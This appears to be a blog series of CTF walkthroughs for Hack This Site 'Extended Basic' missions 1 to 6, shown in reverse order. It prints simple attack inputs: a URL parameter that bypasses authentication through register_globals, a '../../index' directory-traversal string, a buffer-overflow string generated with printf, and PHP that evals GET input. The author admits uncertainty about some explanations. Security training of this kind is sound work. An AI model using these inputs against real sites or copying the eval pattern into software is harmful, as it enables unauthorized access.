if ($passed==TRUE)
{
echo 'you win';
}
?>
<form action="me.php" method="get">
<input type="text" name="user" />
<input type="password" name="pass" />
</form>
<?php
function isAuthed($a,$b)
{
return FALSE;
}
?>

Breaking Down The Code

We’re going to break the code down line by line in order to solve this challenge. Once we understand what the code is doing, we will be able to use its own logic against it and bypass authentication.

First, the code starts with it a tag telling us what language it is.

<?php

Next, we have two variables being set from user input. The $user and $pass variables are populated by the values of ‘user’ and ‘pass’. This is more evident later on when looking at the HTML form.

$user = $_GET['user'];
$pass = $_GET['pass'];

This is where the logic beings. When the user submits their username and password, the data is passed to an if statement. If the values of the variables ‘$user’ and ‘$pass’ are correct then the variable ‘$passed’ is set to true.

if (isAuthed($user,$pass))
{
$passed=TRUE;
}

After that, the application uses another if statement to check whether the value of the variable ‘$passed’ is set to true. If ‘$passed’ is set to true then the application echos out “you win”. This also ends the first section of PHP.

if ($passed==TRUE)
{
echo 'you win';
}
?>

Now, we move on to the HTML. This is the login form that the user will send when loading the page in their browser. It is fairly standard and just performs a get request to me.php. The contents of the get request or the values of the input for ‘user’ and ‘password’. The user input type is text and the password input type is password.

<form action="me.php" method="get">
<input type="text" name="user" />
<input type="password" name="pass" />
</form>

Finally, we have the last section of PHP. This is the function that checks to see whether the username and password are correct. This function compares the values of variables ‘$user’ and ‘$pass’ with the variables ‘$a’ and ‘$b’. If they match then it is the first if statement is executed.

<?php
function isAuthed($a,$b)
{
return FALSE;
}
?>

The Extended Basic 6 Solution

With that rather long explanation out the way, we can now move on to solving the challenge. It’s pretty simple if you know how to PHP site URL’s work. We know that in order for us to authenticate, the variable ‘$passed’ needs to be set to ‘TRUE’

PHP allows you to specify variables and their contents in the URL. For example, a dynamic PHP website using a CMS like WordPress may have a URL like HTTP://site.com/index.php?page=1. The question mark indicates that what follows is a variable and in this case, the variable is ‘$page’. Furthermore, we can specify that we want the value of the page variable to be 1.

With this in mind, we can take the provided URL of HTTP://moo.com/moo.php and append a question mark followed by the variable passed equals TRUE, as seen below.

http://moo.com/moo.php?passed=TRUE

Submitting this to the input box will solve the challenge.

Hack This Site: Extended Basic – Mission 5

Hello world, welcome to HaXeZ where today we will be looking at the Hack This Site Extended Basic mission 5. This mission is another programming mission that requires you to review the contents of a PHP file and then subsequently a shell script that is used to edit the PHP file. There is an error in the shell script that prevents it from doing what it’s supposed to do. We need to fix it.

The Extended Basic 5 Code

The image below shows the code that Sam has written. The introduction message advises that Sam created a function called safeeval to run commands. However, on the page, he neglected to use safeeval and use eval() instead. Furthermore, it explains that he wrote a shell script to go through the PHP file and replace all values of eval() with safeeval. Unfortunately, there is an error in the shell script that prevents the script from working.

Extended Basic 5 The Code

The PHP Code

<?php
include ('safe.inc.php');
if ($access=="allowed") {
eval($_GET['cmd']);
if (!empty($_GET['cmd2'])) {
eval($_GET['cmd2']);
}
}
?>

The Shell Script

#!/bin/sh
rm OK
sed -E "s/eval/safeeval/" <exec.php >tmp && touch OK
if [ -f OK ]; then
rm exec.php && mv tmp exec.php
fi

Hack This Site Extbasic 5 Code Breakdown

We don’t need to break down the PHP code as that is the code we’re trying to amend with the shell script. So let’s break the shell script down line by line.

First, as with all shell scripts, we get a comment to explain that it is in fact a shell script. Nothing out of the ordinary here.

!/bin/sh

Next, we have the ‘rm’ command which on Linux means to remove something and after a bit of research, it appears that it is the same on FreeBSD too. So this line is saying remove ok.

rm OK

The next line is using the sed (stream editor) command which appears to be what is substituting eval for safeeval. It is then passing the exec.php file to the sed command using a less than sign. After that, it appears to be taking the results of the sed command and appending them to ‘tmp’ and creating a file.

sed -E "s/eval/safeeval/" <exec.php >tmp && touch OK

Next, we appear to have some logic that checks if the command executed ok, and if it did it moves on to the next line.

if [ -f OK ]; then

Finally, the script removes exec.php and moves tmp to exec.php.

rm exec.php && mv tmp exec.php

Hack This Site Extbasic 5 Solution

The final line is the end of the if statement so we don’t need to explain that any further. Upon closer inspection and reading the Wikipedia page for sed it appears substitutions with sed requires 2 characters. First, it explains that in some cases you need to start the argument with -E. This is true on MacOS which is a variant of free BSD. We know Sam is using free BSD so the -E at the start of his sed statement is correct. However, we also need the characters s and g. The s character tells sed to substitute one word for the other (eval with safeeval). The g character tells it to do it globally. In short, Sam needs a g at the end of his sed statement to replace all instances of eval with safeeval. The correct syntax should be as follows.

sed -E "s/eval/safeeval/g" <exec.php >tmp && touch OK

Without the g, the script only replaces one instance of eval. The script has multiple instances of eval so the script fails to complete its purpose. Fun challenge.

Hack This Site: Extended Basic – Mission 4

Hello world, welcome to haxez where today we will be looking at the Hack This Site Extended Basic mission 4. This mission is another programming mission that requires you to examine the source code of an application to determine its output. Again, please be advised that I’m terrible at programming so my explanation might be terrible.

The Extended Basic 4 Code

The image below shows the introduction message and explains that sometimes we may need to decipher a language. Furthermore, it explains that sometimes the language may not be on google or encrypted in some way.

Below that we can see there appears to be a user input of the numbers 6 and 7.

Extended Basic 4 Code
Extended Basic 4 Code

We then have a number of lines of code that appear to perform operations on the user-submitted values.

The Solution

As with Extended Basic 3, I’m going to attempt to break this down line by line and explain what is happening.

BEGIN F.ake

This appears to be the start of the program. I don’t think there is much more to it than that other than indicating the start of the program.

var int as in

What this appears to be doing is assigning whatever value the user has submitted to the variable var. The ‘in’ is the user input and var is the variable name. In this case, the value will be 6.

int var as in

This is similar to the line above and is assigning whatever the user submits to a variable called ‘int’. Again the ‘in’ part of the statement appears to be the user input prompt. In this case, the value will be 7.

out var int

Finally, the script is printing or echoing both the variables ‘var’ and ‘init’ to the screen meaning it should output 67.

Extended Basic – Mission 4 Conclusion

I can’t think of any other way to solve this or what any of the other parts of the code would be doing, other than what I have explained. I hope this has helped you solve the challenge. Feel free to check out parts 1 to 3 and drop by my youtube channel and subscribe.

Hack This Site: Extended Basic – Mission 3

Hello world and welcome back to haxez, thank you for surfing by. This post is a walkthrough of the Hack This Site Extended Basic Mission 3. The purpose of this challenge is to deduce the function of a bespoke programming language’s application. A basic understanding of programming and assigning variables is required for this challenge. However, I’m terrible at programming and was still able to solve the challenge.

The Extended Basic 3 Function

As mentioned above, the image below informs the user that the challenge creator has created a bespoke programming language. In order to solve the challenge, we need to walk through the application step by step and determine the output.

Extended Basic 3 Challenge

Therefore, I believe the best method of solving this challenge is to analyse each line individually and identify what it is doing.

The Solution

BEGIN notr.eal

Firstly, the application starts with ‘BEGIN notr.eal’. Granted, this appears fairly self-explanatory and denotes the start of the application.

CREATE int AS 2

Secondly, it appears as though the application is creating an integer with the value of 2. However, as with other programming languages, the position of ‘CREATE’ suggests it is more likely that the integer value of 2 is being assigned to the variable ‘CREATE’.

DESTROY int AS 0

Thirdly, the same can be said about the ‘DESTROY’ variable. This could easily be mistaken for a function of the program. However, since this function isn’t previously described in the program, I’m going to assume that an integer value of 0 is being added to the variable ‘DESTROY’.

ANS var AS Create + TO

Fourthly, it would appear that the value of the ‘create’ variable (currently 2) or ‘CREATE’ as previously written is being add to the ‘TO’ variable. I’m not too sure about this one but it resulted in the correct answer so my logic (however flawed) seems correct.

out TO

Finally, the value of the ‘TO’ variable is printed out to the screen. So in this instance the answer should be 2. If you submit that to the submission box then it should solve the challenge.

BEGIN notr.eal /* Starts the program
CREATE int AS 2 /* Adds the integer 2 to variable 'CREATE'
DESTROY int AS 0 /* Adds the integer 0 to variable 'DESTROY'
ANS var AS Create + TO /* Appears to take the value of variable 'CREATE' and adds to varable 'TO'
out TO /* Prints the value of 'TO'

Extended Basic Mission 3 — Conclusion

While my explanation might be incorrect, it resulted in the correct answer. Furthermore, I tried to solve the challenge in other ways but wasn’t able to. If we break the program down again and look at lines 2 and 3 we could infer that the program is simply creating an integer of 2 and then destroying it. If it destroys the integer then the value of the variable ‘TO’ would be 0 which is the wrong answer. I’ve also looked at whether ‘AS’ could be a variable but we end up with the same result of the value of the variable being destroyed and ending up with 0. There could be something else I’m missing and if you spot it then please let me know. Anyway this was a fun challenge, please check out my other posts in this series ExtBasic1 and ExtBasic2.

Hack This Site: Extended Basic – Mission 2

Hello world, welcome to haxez where we will be covering Hack This Site Extended Basic Mission 2. This challenge is fairly simple provided you have an understanding of application structures. It requires us to slightly modify the provided script in order to access the index.php page at the root of the web application. In order to do that we need to perform a directory traversal up two directories to grab the index.html page.

The Extended Basic 2 Function

As you can see from the screenshot below, we have some fairly basic PHP code that is attempting to get the contents of the filename specified by the value ‘filename‘. Furthermore, it specifies the type of extension for the filename which in this case is ‘.php‘. Underneath the code, we have a submission box where we need to submit the solution to the challenge.

Extended Basic 2 The Function
The Function

The Solution

Given these points, all we need to do to solve this mission is to tell the script to navigate up two directories. We are currently in the ‘extbasic‘ directory looking at the file named 2 ‘/missions/extbasic/2‘. So by traversing up two directories we should be in the root directory. Once there, we need to specify the ‘index.php‘, however the file extension ‘.php‘ has already been appended for us so we only need to specify the word index. The correct solution should be ‘../../index‘. Paste that into the check form and you should complete the mission and be able to proceed on to the next one.

The Solution
The Solution

Extended Basic Mission 2 — Conclusion

This is a simple but fun challenge that tests your knowledge of web application directory structures and code reading ability. While I wouldn’t have a clue how to write this off the top of my head, I easily worked out what the code is attempting to do. Once you understand what the code is doing, and you understand the rules of the mission then it’s fairly simple. This type of attack is known as a directory traversal attack and can be prevented by validating user input and by having strict permissions policies on directories. Anyway, I hope this helped you solve the mission.

Hack This Site: Extended Basic – Mission 1

Hello and welcome to haxez where today we’re looking at Hack This Site Extended Basic Mission 1. The mission is titled “Over and Over?” and requires you to perform a buffer overflow to complete it. Upon navigating to the mission we are greeted with a message that explains that we have a C program that calculates the length of the user input. It goes on to explain that we need to crash the program. It also provides us with the source code of the application.

Extended Basic 1 Missions
Extended Basic Missions

Extended Basic 1 – Source Code

I’m not going to pretend I know the ins and outs of the C programming language. It was a bit before my time so I’ve never learned it. However, If we look at the source code we can see that it is declaring a standalone function using the void statement. Furthermore, we can deduce that there is a character limit of 200 hundred characters as stated with the ‘char lol [200]‘ line. Taking this into consideration, we can safely assume that inputting more than 200 characters would likely cause an error.

Extended Basic 1 The Source Code
The Source Code

Extended Basic 1- Buffer Overflow

A buffer overflow occurs when you send more data than is expected to an application. Essentially, each part of a program has an allocated amount of system memory. If you were to send more data to the application than the application has allocated memory for, unexpected results happen. This will likely cause the application to crash but in some cases, it could allow for code execution. However, the purpose of this mission is to crash the application. We know the application is expecting 200 characters. So if we generate 250 characters with our terminal using ‘printf 'A%.0s' {1..250}‘ and submit it to the application, we should crash it.

Terminal — Creating Payload
Terminal — Creating Payload

Mission Complete

Now if we copy and paste that string into the application submission box and click submit, we should see it process and complete the mission. We can tell the mission is complete because it should generate a blue Go On button underneath the input form.

Mission Complete
Mission Complete